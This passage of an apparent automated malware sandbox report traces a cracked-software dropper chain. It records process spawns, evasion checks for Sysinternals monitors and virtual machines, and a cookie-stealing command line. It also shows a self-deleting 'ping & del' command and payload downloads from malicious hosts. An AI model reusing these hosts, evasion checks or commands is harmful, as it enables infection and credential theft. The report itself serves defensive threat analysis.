      Host: marsdevelopmentsftwr.com"
      "GET /data/data.7z HTTP/1.1
      Connection: Keep-Alive
      Accept: */*
      Accept-Encoding: identity
      If-Unmodified-Since: Tue, 22 Jun 2021 05:37:37 GMT
      Range: bytes=10189-15124
      User-Agent: Microsoft BITS/7.5
      Host: marsdevelopmentsftwr.com"
      "GET /data/data.7z HTTP/1.1
      Connection: Keep-Alive
      Accept: */*
      Accept-Encoding: identity
      If-Unmodified-Since: Tue, 22 Jun 2021 05:37:37 GMT
      Range: bytes=15125-26980
      User-Agent: Microsoft BITS/7.5
      Host: marsdevelopmentsftwr.com"
      "GET /data/data.7z HTTP/1.1
      Connection: Keep-Alive
      Accept: */*
      Accept-Encoding: identity
      If-Unmodified-Since: Tue, 22 Jun 2021 05:37:37 GMT
      Range: bytes=26981-50694
      User-Agent: Microsoft BITS/7.5
      Host: marsdevelopmentsftwr.com"
      "GET /data/data.7z HTTP/1.1
      Connection: Keep-Alive
      Accept: */*
      Accept-Encoding: identity
      If-Unmodified-Since: Tue, 22 Jun 2021 05:37:37 GMT
      Range: bytes=50695-100947
      User-Agent: Microsoft BITS/7.5
      Host: marsdevelopmentsftwr.com"
      "GET /data/data.7z HTTP/1.1
      Connection: Keep-Alive
      Accept: */*
      Accept-Encoding: identity
      If-Unmodified-Since: Tue, 22 Jun 2021 05:37:37 GMT
      Range: bytes=100948-200721
      User-Agent: Microsoft BITS/7.5
      Host: marsdevelopmentsftwr.com"
      "GET /data/data.7z HTTP/1.1
      Connection: Keep-Alive
      Accept: */*
      Accept-Encoding: identity
      If-Unmodified-Since: Tue, 22 Jun 2021 05:37:37 GMT
      Range: bytes=200722-399943
      User-Agent: Microsoft BITS/7.5
      Host: marsdevelopmentsftwr.com"
      "GET /data/data.7z HTTP/1.1
      Connection: Keep-Alive
      Accept: */*
      Accept-Encoding: identity
      If-Unmodified-Since: Tue, 22 Jun 2021 05:37:37 GMT
      Range: bytes=399944-799334
      User-Agent: Microsoft BITS/7.5
      Host: marsdevelopmentsftwr.com"
      "GET /data/data.7z HTTP/1.1
      Connection: Keep-Alive
      Accept: */*
      Accept-Encoding: identity
      If-Unmodified-Since: Tue, 22 Jun 2021 05:37:37 GMT
      Range: bytes=799335-1108231
      User-Agent: Microsoft BITS/7.5
      Host: marsdevelopmentsftwr.com"
      source
      Network Traffic
      relevance
      5/10
    • Loads rich edit control libraries
      details
      "metina_7.exe" loaded module "%WINDIR%\SysWOW64\riched20.dll" at 73210000
      source
      Loaded Module
      ATT&CK ID
      T1179 (Show technique in the MITRE ATT&CK™ matrix)
    • Loads the .NET runtime environment
      details
      "3DzimCCHok4QI3oge55SJ4Fn.exe" loaded module "%WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll" at 70C20000
      "powershell.exe" loaded module "%WINDIR%\assembly\NativeImages_v2.0.50727_32\mscorlib\199dd46435d7fdbbe590cccd8c8ae9cb\mscorlib.ni.dll" at 6CA80000
      "powershell.exe" loaded module "%WINDIR%\assembly\NativeImages_v2.0.50727_32\mscorlib\199dd46435d7fdbbe590cccd8c8ae9cb\mscorlib.ni.dll" at 6C4D0000
      "powershell.exe" loaded module "%WINDIR%\assembly\NativeImages_v2.0.50727_32\mscorlib\199dd46435d7fdbbe590cccd8c8ae9cb\mscorlib.ni.dll" at 71D40000
      "powershell.exe" loaded module "%WINDIR%\assembly\NativeImages_v2.0.50727_32\mscorlib\199dd46435d7fdbbe590cccd8c8ae9cb\mscorlib.ni.dll" at 71CB0000
      "powershell.exe" loaded module "%WINDIR%\assembly\NativeImages_v2.0.50727_64\mscorlib\0478aed7fc25ae268474c704fd2a3e0f\mscorlib.ni.dll" at EE160000
      "powershell.exe" loaded module "%WINDIR%\assembly\NativeImages_v2.0.50727_64\mscorlib\0478aed7fc25ae268474c704fd2a3e0f\mscorlib.ni.dll" at EE010000
      source
      Loaded Module
    • Overview of unique CLSIDs touched in registry
      details
      "x86_x64_setup.exe" touched "Computer" (Path: "HKCU\WOW6432NODE\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER")
      "x86_x64_setup.exe" touched "Memory Mapped Cache Mgr" (Path: "HKCU\WOW6432NODE\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}")
      "x86_x64_setup.exe" touched "UsersFiles" (Path: "HKCU\WOW6432NODE\CLSID\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\SHELLFOLDER")
      "x86_x64_setup.exe" touched "Property System Both Class Factory" (Path: "HKCU\WOW6432NODE\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}")
      "x86_x64_setup.exe" touched "delegate folder that appears in Users Files Folder" (Path: "HKCU\WOW6432NODE\CLSID\{DFFACDC5-679F-4156-8947-C5C76BC0B67F}\SHELLFOLDER")
      "x86_x64_setup.exe" touched "Shell File System Folder" (Path: "HKCU\WOW6432NODE\CLSID\{0E5AAE11-A475-4C5B-AB00-C66DE400274E}\INPROCSERVER32")
      "x86_x64_setup.exe" touched "Security Manager" (Path: "HKCU\WOW6432NODE\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}\TREATAS")
      "setup_installer.exe" touched "Network" (Path: "HKCU\WOW6432NODE\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\SHELLFOLDER")
      "setup_installer.exe" touched "Recycle Bin" (Path: "HKCU\WOW6432NODE\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\SHELLFOLDER")
      "setup_installer.exe" touched "Control Panel" (Path: "HKCU\WOW6432NODE\CLSID\{26EE0668-A00A-44D7-9371-BEB064C98683}\SHELLFOLDER")
      "setup_installer.exe" touched "UsersLibraries" (Path: "HKCU\WOW6432NODE\CLSID\{031E4825-7B94-4DC3-B131-E946B44C8DD5}\SHELLFOLDER")
      "setup_installer.exe" touched "CLSID_SearchFolder" (Path: "HKCU\WOW6432NODE\CLSID\{04731B67-D933-450A-90E6-4ACD2E9408FE}\SHELLFOLDER")
      "setup_installer.exe" touched "IE History and Feeds Shell Data Source for Windows Search" (Path: "HKCU\WOW6432NODE\CLSID\{11016101-E366-4D22-BC06-4ADA335C892B}\SHELLFOLDER")
      "setup_installer.exe" touched "Public Folder" (Path: "HKCU\WOW6432NODE\CLSID\{4336A54D-038B-4685-AB02-99BB52D3FB8B}\SHELLFOLDER")
      "setup_installer.exe" touched "Control Panel command object for Start menu and desktop" (Path: "HKCU\WOW6432NODE\CLSID\{5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0}\SHELLFOLDER")
      "setup_installer.exe" touched "@%systemroot%\system32\mssvp.dll,-110" (Path: "HKCU\WOW6432NODE\CLSID\{89D83576-6BD1-4C86-9454-BEB04E94C819}\SHELLFOLDER")
      "setup_installer.exe" touched "CLSID_SearchHome" (Path: "HKCU\WOW6432NODE\CLSID\{9343812E-1C37-4A49-A12E-4B2D810D956B}\SHELLFOLDER")
      "setup_installer.exe" touched "Other Users Folder" (Path: "HKCU\WOW6432NODE\CLSID\{B4FB3F98-C1EA-428D-A78A-D1F5659CBA93}\SHELLFOLDER")
      "setup_installer.exe" touched "@%systemroot%\system32\mssvp.dll,-112" (Path: "HKCU\WOW6432NODE\CLSID\{BD7A2E7B-21CB-41B2-A086-B309680C6B7E}\SHELLFOLDER")
      "setup_installer.exe" touched "CLSID_StartMenuProviderFolder" (Path: "HKCU\WOW6432NODE\CLSID\{DAF95313-E44D-46AF-BE1B-CBACEA2C3065}\SHELLFOLDER")
      source
      Registry Access
      relevance
      3/10
    • Process launched with changed environment
      details
      Process "setup_installer.exe" (Show Process) was launched with new environment variables: "PROCESSOR_ARCHITEW6432="AMD64""
      Process "setup_installer.exe" (Show Process) was launched with modified environment variables: "CommonProgramFiles, PROCESSOR_ARCHITECTURE, ProgramFiles"
      Process "setup_install.exe" (Show Process) was launched with new environment variables: "__COMPAT_LAYER="VistaSetup""
      Process "metina_1.exe" (Show Process) was launched with new environment variables: "PROMPT="$P$G""
      Process "Crack.exe" (Show Process) was launched with new environment variables: "sfxcmd="metina_7.exe", sfxstime="2021-06-22-06-12-17-008", sfxname="%TEMP%\7zS856D3F35\metina_7.exe""
      Process "czWUtBVE69_cm6INR5XzSTTE.exe" (Show Process) was launched with missing environment variables: "sfxcmd, sfxstime, sfxname"
      Process "rundll32.exe" (Show Process) was launched with new environment variables: "sfxcmd="metina_7.exe", sfxstime="2021-06-22-06-12-17-008", sfxname="C:\Users\%USERNAME%\AppData\Local\Temp\7zS856D3F35\metina_7.exe""
      Process "rundll32.exe" (Show Process) was launched with missing environment variables: "sfxcmd, sfxstime, sfxname"
      Process "askinstall47.exe" (Show Process) was launched with new environment variables: "sfxcmd="metina_7.exe", sfxstime="2021-06-22-06-12-17-008", sfxname="C:\Users\%USERNAME%\AppData\Local\Temp\7zS856D3F35\metina_7.exe""
      Process "svchost.exe" (Show Process) was launched with modified environment variables: "CommonProgramFiles, Path, LOCALAPPDATA, USERDOMAIN, PROCESSOR_ARCHITECTURE, TEMP, APPDATA, USERPROFILE, TMP, ProgramFiles"
      Process "svchost.exe" (Show Process) was launched with missing environment variables: "PROCESSOR_ARCHITEW6432, LOGONSERVER, sfxcmd, PROMPT, sfxstime, SESSIONNAME, __COMPAT_LAYER, HOMEPATH, HOMEDRIVE, sfxname"
      Process "jfiag3g_gg.exe" (Show Process) was launched with modified environment variables: "CommonProgramFiles, PROCESSOR_ARCHITECTURE, ProgramFiles"
      Process "_kZTg30m8bpighz8qDy1fPfn.exe" (Show Process) was launched with new environment variables: "PROCESSOR_ARCHITEW6432="AMD64", LOGONSERVER="\\HAPUBWS-PC", PROMPT="$P$G", SESSIONNAME="Console", __COMPAT_LAYER="VistaSetup", HOMEPATH="\Users\SsRhmj3", HOMEDRIVE="C:""
      Process "_kZTg30m8bpighz8qDy1fPfn.exe" (Show Process) was launched with modified environment variables: "CommonProgramFiles, Path, LOCALAPPDATA, USERDOMAIN, PROCESSOR_ARCHITECTURE, TEMP, APPDATA, USERPROFILE, TMP, ProgramFiles"
      Process "Vx1H68u9crXyhlpiRY1l2dfJ.exe" (Show Process) was launched with modified environment variables: "CommonProgramFiles, PROCESSOR_ARCHITECTURE, ProgramFiles"
      Process "bitsadmin.exe" (Show Process) was launched with modified environment variables: "LOCALAPPDATA, COMPUTERNAME, USERDOMAIN, HOMEPATH, TEMP, APPDATA, USERPROFILE, TMP, USERNAME"
      Process "data_load.exe" (Show Process) was launched with modified environment variables: "LOCALAPPDATA, COMPUTERNAME, USERDOMAIN, HOMEPATH, TEMP, APPDATA, USERPROFILE, TMP, USERNAME"
      Process "WerFault.exe" (Show Process) was launched with modified environment variables: "Path"
      Process "WerFault.exe" (Show Process) was launched with missing environment variables: "__COMPAT_LAYER"
      source
      Monitored Target
      relevance
      10/10
    • Reads Windows Trust Settings
      details
      "metina_6.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\WINTRUST\TRUST PROVIDERS\SOFTWARE PUBLISHING"; Key: "STATE")
      "askinstall47.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\WINTRUST\TRUST PROVIDERS\SOFTWARE PUBLISHING"; Key: "STATE")
      source
      Registry Access
      relevance
      5/10
      ATT&CK ID
      T1012 (Show technique in the MITRE ATT&CK™ matrix)
    • Runs shell commands
      details
      "%WINDIR%\system32\cmd.exe /c metina_1.exe" on 2021-6-22.06:12:07.852
      "%WINDIR%\system32\cmd.exe /c metina_2.exe" on 2021-6-22.06:12:07.899
      "%WINDIR%\system32\cmd.exe /c metina_3.exe" on 2021-6-22.06:12:07.977
      "%WINDIR%\system32\cmd.exe /c metina_4.exe" on 2021-6-22.06:12:08.039
      "%WINDIR%\system32\cmd.exe /c metina_5.exe" on 2021-6-22.06:12:08.070
      "%WINDIR%\system32\cmd.exe /c metina_6.exe" on 2021-6-22.06:12:08.102
      "%WINDIR%\system32\cmd.exe /c metina_7.exe" on 2021-6-22.06:12:08.149
      "%WINDIR%\system32\cmd.exe /c metina_8.exe" on 2021-6-22.06:12:08.195
      "/C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "%USERPROFILE%\Documents\xgJoOVyufE0cCqwLc5B_RFQB.exe"" on 2021-6-22.06:16:43.055
      source
      Monitored Target
      relevance
      5/10
      ATT&CK ID
      T1059 (Show technique in the MITRE ATT&CK™ matrix)
    • Scanning for window names
      details
      "setup_install.exe" searching for class "ConsoleWindowClass"
      "metina_7.exe" searching for class "EDIT"
      "Crack.exe" searching for class "ConsoleWindowClass"
      "3DzimCCHok4QI3oge55SJ4Fn.exe" searching for class "RegmonClass"
      "3DzimCCHok4QI3oge55SJ4Fn.exe" searching for class "Registry Monitor - Sysinternals: www.sysinternals.com"
      "3DzimCCHok4QI3oge55SJ4Fn.exe" searching for class "18467-41"
      "3DzimCCHok4QI3oge55SJ4Fn.exe" searching for class "FilemonClass"
      "3DzimCCHok4QI3oge55SJ4Fn.exe" searching for class "File Monitor - Sysinternals: www.sysinternals.com"
      "3DzimCCHok4QI3oge55SJ4Fn.exe" searching for class "PROCMON_WINDOW_CLASS"
      "3DzimCCHok4QI3oge55SJ4Fn.exe" searching for class "Process Monitor - Sysinternals: www.sysinternals.com"
      "3DzimCCHok4QI3oge55SJ4Fn.exe" searching for class "Filemonclass"
      "3DzimCCHok4QI3oge55SJ4Fn.exe" searching for class "Regmonclass"
      source
      API Call
      relevance
      10/10
      ATT&CK ID
      T1010 (Show technique in the MITRE ATT&CK™ matrix)
    • Spawns new processes
      details
      Spawned process "setup_installer.exe" (Show Process)
      Spawned process "setup_install.exe" (Show Process)
      Spawned process "cmd.exe" with commandline "%WINDIR%\system32\cmd.exe /c metina_1.exe" (Show Process)
      Spawned process "cmd.exe" with commandline "%WINDIR%\system32\cmd.exe /c metina_2.exe" (Show Process)
      Spawned process "cmd.exe" with commandline "%WINDIR%\system32\cmd.exe /c metina_3.exe" (Show Process)
      Spawned process "cmd.exe" with commandline "%WINDIR%\system32\cmd.exe /c metina_4.exe" (Show Process)
      Spawned process "cmd.exe" with commandline "%WINDIR%\system32\cmd.exe /c metina_5.exe" (Show Process)
      Spawned process "metina_1.exe" (Show Process)
      Spawned process "cmd.exe" with commandline "%WINDIR%\system32\cmd.exe /c metina_6.exe" (Show Process)
      Spawned process "cmd.exe" with commandline "%WINDIR%\system32\cmd.exe /c metina_7.exe" (Show Process)
      Spawned process "cmd.exe" with commandline "%WINDIR%\system32\cmd.exe /c metina_8.exe" (Show Process)
      Spawned process "metina_3.exe" (Show Process)
      Spawned process "metina_2.exe" (Show Process)
      Spawned process "metina_6.exe" (Show Process)
      Spawned process "metina_7.exe" (Show Process)
      Spawned process "metina_4.exe" (Show Process)
      Spawned process "metina_8.exe" (Show Process)
      Spawned process "metina_5.exe" (Show Process)
      Spawned process "metina_5.tmp" with commandline "/SL5="$30266
      183526
      99840
      %TEMP%\7zS856D3F35\metina_5.exe"" (Show Process)
      Spawned process "jfiag3g_gg.exe" with commandline "/scookiestxt %TEMP%\fj4ghga23_fsa.txt" (Show Process)
      source
      Monitored Target
      relevance
      3/10
    • Spawns new processes that are not known child processes
      details
      Spawned process "setup_installer.exe" (Show Process)
      Spawned process "setup_install.exe" (Show Process)
      Spawned process "cmd.exe" with commandline "%WINDIR%\system32\cmd.exe /c metina_1.exe" (Show Process)
      Spawned process "cmd.exe" with commandline "%WINDIR%\system32\cmd.exe /c metina_2.exe" (Show Process)
      Spawned process "cmd.exe" with commandline "%WINDIR%\system32\cmd.exe /c metina_3.exe" (Show Process)
      Spawned process "cmd.exe" with commandline "%WINDIR%\system32\cmd.exe /c metina_4.exe" (Show Process)
      Spawned process "cmd.exe" with commandline "%WINDIR%\system32\cmd.exe /c metina_5.exe" (Show Process)
      Spawned process "metina_1.exe" (Show Process)
      Spawned process "cmd.exe" with commandline "%WINDIR%\system32\cmd.exe /c metina_6.exe" (Show Process)
      Spawned process "cmd.exe" with commandline "%WINDIR%\system32\cmd.exe /c metina_7.exe" (Show Process)
      Spawned process "cmd.exe" with commandline "%WINDIR%\system32\cmd.exe /c metina_8.exe" (Show Process)
      Spawned process "metina_3.exe" (Show Process)
      Spawned process "metina_2.exe" (Show Process)
      Spawned process "metina_6.exe" (Show Process)
      Spawned process "metina_7.exe" (Show Process)
      Spawned process "metina_4.exe" (Show Process)
      Spawned process "metina_8.exe" (Show Process)
      Spawned process "metina_5.exe" (Show Process)
      Spawned process "metina_5.tmp" with commandline "/SL5="$30266
      183526
      99840
      %TEMP%\7zS856D3F35\metina_5.exe"" (Show Process)
      Spawned process "jfiag3g_gg.exe" with commandline "/scookiestxt %TEMP%\fj4ghga23_fsa.txt" (Show Process)
      source
      Monitored Target
      relevance
      3/10
    • The input sample possibly contains the RDTSCP instruction
      details
      Found VM detection artifact "RDTSCP trick" in "4a7e17dd1cb8fe84b412b4c4cc134482b86a0eab81052d3c4ea9ce03f5e9c8b7.bin" (Offset: 431870)
      source
      Binary File
      relevance
      5/10
      ATT&CK ID
      T1497 (Show technique in the MITRE ATT&CK™ matrix)
  • Installation/Persistence
    • Connects to LPC ports
      details
      "x86_x64_setup.exe" connecting to "\ThemeApiPort"
      "setup_installer.exe" connecting to "\ThemeApiPort"
      "metina_1.exe" connecting to "\ThemeApiPort"
      "metina_6.exe" connecting to "\ThemeApiPort"
      "metina_7.exe" connecting to "\ThemeApiPort"
      "metina_5.exe" connecting to "\ThemeApiPort"
      "metina_5.tmp" connecting to "\ThemeApiPort"
      "Crack.exe" connecting to "\ThemeApiPort"
      "3DzimCCHok4QI3oge55SJ4Fn.exe" connecting to "\ThemeApiPort"
      "GRBREeDiF7lFRmCKLoQFhGWs.exe" connecting to "\ThemeApiPort"
      "rundll32.exe" connecting to "\ThemeApiPort"
      "bitsadmin.exe" connecting to "\ThemeApiPort"
      source
      API Call
      relevance
      1/10
    • Dropped files
      details
      "libhttp_plugin.dll" has type "PE32 executable (DLL) (console) Intel 80386 for MS Windows"
      "jVLSUYQv7J3WkDTaSyOWiytM.exe" has type "HTML document ASCII text"
      "libcdda_plugin.dll" has type "PE32 executable (DLL) (console) Intel 80386 for MS Windows"
      "vcruntime140.dll" has type "PE32+ executable (DLL) (console) x86-64 for MS Windows"
      "libfingerprinter_plugin.dll" has type "PE32 executable (DLL) (console) Intel 80386 for MS Windows"
      "metina_6.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"
      "tempfile.ps1" has type "ASCII text with CRLF line terminators"
      "libdiracsys_plugin.dll" has type "PE32 executable (DLL) (console) Intel 80386 for MS Windows"
      "libpacketizer_mlp_plugin.dll" has type "PE32 executable (DLL) (console) Intel 80386 for MS Windows"
      "askinstall47.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"
      "libmosaic_plugin.dll" has type "PE32 executable (DLL) (console) Intel 80386 for MS Windows"
      "libmjpeg_plugin.dll" has type "PE32 executable (DLL) (console) Intel 80386 for MS Windows"
      "libwall_plugin.dll" has type "PE32 executable (DLL) (console) Intel 80386 for MS Windows"
      "libcaf_plugin.dll" has type "PE32 executable (DLL) (console) Intel 80386 for MS Windows"
      "install.dll.lnk" has type "MS Windows shortcut Item id list present Has Relative path Has command line arguments ctime=Mon Jan 1 00:00:00 1601 mtime=Mon Jan 1 00:00:00 1601 atime=Mon Jan 1 00:00:00 1601 length=0 window=hide"
      "libdemux_stl_plugin.dll" has type "PE32 executable (DLL) (console) Intel 80386 for MS Windows"
      "libmpgv_plugin.dll" has type "PE32 executable (DLL) (console) Intel 80386 for MS Windows"
      "libcurl.dll" has type "PE32 executable (DLL) (console) Intel 80386 for MS Windows"
      "libaccess_wasapi_plugin.dll" has type "PE32 executable (DLL) (console) Intel 80386 for MS Windows"
      "libsdp_plugin.dll" has type "PE32 executable (DLL) (console) Intel 80386 for MS Windows"
      source
      Binary File
      relevance
      3/10
    • Touches files in the Windows directory
      details
      "x86_x64_setup.exe" touched file "C:\Windows\SysWOW64\oleaccrc.dll"
      "x86_x64_setup.exe" touched file "C:\Windows\AppPatch\sysmain.sdb"
      "x86_x64_setup.exe" touched file "C:\Windows\SysWOW64\shdocvw.dll"
      "x86_x64_setup.exe" touched file "C:\Windows\SysWOW64\en-US\shdocvw.dll.mui"
      "x86_x64_setup.exe" touched file "C:\Windows\Globalization\Sorting\SortDefault.nls"
      "x86_x64_setup.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches"
      "x86_x64_setup.exe" touched file "C:\Users\%USERNAME%\AppData\Local\Microsoft\Windows\Caches\cversions.1.db"
      "x86_x64_setup.exe" touched file "C:\Users\%USERNAME%\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000001e.db"
      "x86_x64_setup.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches"
      "x86_x64_setup.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches\cversions.1.db"
      "x86_x64_setup.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000001e.db"
      "x86_x64_setup.exe" touched file "%APPDATA%\Microsoft\Windows\Start Menu\desktop.ini"
      source
      API Call
      relevance
      7/10
  • Network Related
    • Found potential IP address in binary/memory
      details
      "136.144.41.152"
      "136.144.41.133"
      Potential IP "136.144.41.133" found in string "HEAD /WW/file5.exe HTTP/1.1
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
      Host: 136.144.41.133
      Content-Length: 0
      Cache-Control: no-cache"
      Potential IP "136.144.41.133" found in string "HEAD /WW/file2.exe HTTP/1.1
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
      Host: 136.144.41.133
      Content-Length: 0
      Cache-Control: no-cache"
      Potential IP "136.144.41.133" found in string "HEAD /WW/file8.exe HTTP/1.1
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
      Host: 136.144.41.133
      Content-Length: 0
      Cache-Control: no-cache"
      Potential IP "136.144.41.133" found in string "HEAD /WW/file7.exe HTTP/1.1
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
      Host: 136.144.41.133
      Content-Length: 0
      Cache-Control: no-cache"
      Potential IP "136.144.41.133" found in string "HEAD /WW/file9.exe HTTP/1.1
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
      Host: 136.144.41.133
      Content-Length: 0
      Cache-Control: no-cache"
      Potential IP "136.144.41.133" found in string "HEAD /WW/file1.exe HTTP/1.1
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
      Host: 136.144.41.133
      Content-Length: 0
      Cache-Control: no-cache"
      Potential IP "136.144.41.133" found in string "HEAD /WW/file4.exe HTTP/1.1
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
      Host: 136.144.41.133
      Content-Length: 0
      Cache-Control: no-cache"
      Potential IP "136.144.41.133" found in string "HEAD /WW/file6.exe HTTP/1.1
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
      Host: 136.144.41.133
      Content-Length: 0
      Cache-Control: no-cache"
      Potential IP "136.144.41.133" found in string "GET /WW/file5.exe HTTP/1.1
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
      Host: 136.144.41.133
      Cache-Control: no-cache"
      Potential IP "136.144.41.133" found in string "GET /WW/file2.exe HTTP/1.1
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
      Host: 136.144.41.133
      Cache-Control: no-cache"
      Potential IP "1.1.1.1" found in string "Pinging 1.1.1.1"
      Potential IP "1.1.1.1" found in string "Reply from 1.1.1.1:"
      Potential IP "1.1.1.1" found in string "Ping statistics for 1.1.1.1:
      Packets: Sent = 1, Received = 1, Lost = 0 (0% loss),"
      Potential IP "1.1.1.1" found in string "/C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "%USERPROFILE%\Documents\xgJoOVyufE0cCqwLc5B_RFQB.exe""
      Potential IP "1.1.1.1" found in string "ping 1.1.1.1 -w 3000"
      Potential IP "136.144.41.133" found in string "<address>Apache/2.4.41 (Ubuntu) Server at 136.144.41.133 Port 80</address>"
      source
      File/Memory
      relevance
      3/10
    • Found potential URL in binary/memory
      details
      Heuristic match: "v2'?sT.vc"
      Heuristic match: "G#n*)W.Fo"
      Heuristic match: "aI9B)[.Tk"
      Heuristic match: "^oR*:.uy"
      Pattern match: "http://nsis.sf.net/NSIS_Error"
      Heuristic match: "ip-api.com"
      Heuristic match: "GET /json/ HTTP/1.1
      Connection: Keep-Alive
      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
      Accept-Language: en,q=0.9;q=0.8,ja;q=0.7,af;q=0.6,am;q=0.5,sq;q=0.4,ar;q=0.3,"
      Heuristic match: "nicepricingsaleregistration.com"
      Heuristic match: "cor-tips.com"
      Heuristic match: "crl.identrust.com"
      Heuristic match: "GET /DSTROOTCAX3CRL.crl HTTP/1.1
      Connection: Keep-Alive
      Accept: */*
      User-Agent: Microsoft-CryptoAPI/6.1
      Host: crl.identrust.com"
      Pattern match: "http://tempuri.org/Endpoint/GetArguments"
      Heuristic match: "uehge4g6gh.2ihsfa.com"
      Heuristic match: "GET /api/fbtime HTTP/1.1
      Connection: Keep-Alive
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Edg/87.0.664.60
      Host: uehge4g6gh.2ihsfa.com"
      Heuristic match: "marsdevelopmentsftwr.com"
      Heuristic match: "HEAD /data/data.7z HTTP/1.1
      Connection: Keep-Alive
      Accept: */*
      Accept-Encoding: identity
      User-Agent: Microsoft BITS/7.5
      Host: marsdevelopmentsftwr.com"
      Heuristic match: "GET /data/data.7z HTTP/1.1
      Connection: Keep-Alive
      Accept: */*
      Accept-Encoding: identity
      If-Unmodified-Since: Tue, 22 Jun 2021 05:37:37 GMT
      Range: bytes=0-5001
      User-Agent: Microsoft BITS/7.5
      Host: marsdevelopmentsftwr.com"
      Heuristic match: "GET /data/data.7z HTTP/1.1
      Connection: Keep-Alive
      Accept: */*
      Accept-Encoding: identity
      If-Unmodified-Since: Tue, 22 Jun 2021 05:37:37 GMT
      Range: bytes=5002-10188
      User-Agent: Microsoft BITS/7.5
      Host: marsdevelopmentsftwr.com"
      Heuristic match: "GET /data/data.7z HTTP/1.1
      Connection: Keep-Alive
      Accept: */*
      Accept-Encoding: identity
      If-Unmodified-Since: Tue, 22 Jun 2021 05:37:37 GMT
      Range: bytes=10189-15124
      User-Agent: Microsoft BITS/7.5
      Host: marsdevelopmentsftwr.com"
      Heuristic match: "GET /data/data.7z HTTP/1.1
      Connection: Keep-Alive
      Accept: */*
      Accept-Encoding: identity
      If-Unmodified-Since: Tue, 22 Jun 2021 05:37:37 GMT
      Range: bytes=15125-26980
      User-Agent: Microsoft BITS/7.5
      Host: marsdevelopmentsftwr.com"
      Heuristic match: "GET /data/data.7z HTTP/1.1
      Connection: Keep-Alive
      Accept: */*
      Accept-Encoding: identity
      If-Unmodified-Since: Tue, 22 Jun 2021 05:37:37 GMT
      Range: bytes=26981-50694
      User-Agent: Microsoft BITS/7.5
      Host: marsdevelopmentsftwr.com"
      Heuristic match: "GET /data/data.7z HTTP/1.1
      Connection: Keep-Alive
      Accept: */*
      Accept-Encoding: identity
      If-Unmodified-Since: Tue, 22 Jun 2021 05:37:37 GMT
      Range: bytes=50695-100947
      User-Agent: Microsoft BITS/7.5
      Host: marsdevelopmentsftwr.com"
      Heuristic match: "GET /data/data.7z HTTP/1.1
      Connection: Keep-Alive
      Accept: */*
      Accept-Encoding: identity
      If-Unmodified-Since: Tue, 22 Jun 2021 05:37:37 GMT
      Range: bytes=100948-200721
      User-Agent: Microsoft BITS/7.5
      Host: marsdevelopmentsftwr.com"
      Heuristic match: "GET /data/data.7z HTTP/1.1
      Connection: Keep-Alive
      Accept: */*
      Accept-Encoding: identity
      If-Unmodified-Since: Tue, 22 Jun 2021 05:37:37 GMT
      Range: bytes=200722-399943
      User-Agent: Microsoft BITS/7.5
      Host: marsdevelopmentsftwr.com"
      Heuristic match: "GET /data/data.7z HTTP/1.1
      Connection: Keep-Alive
      Accept: */*
      Accept-Encoding: identity
      If-Unmodified-Since: Tue, 22 Jun 2021 05:37:37 GMT
      Range: bytes=399944-799334
      User-Agent: Microsoft BITS/7.5
      Host: marsdevelopmentsftwr.com"
      Heuristic match: "GET /data/data.7z HTTP/1.1
      Connection: Keep-Alive
      Accept: */*
      Accept-Encoding: identity
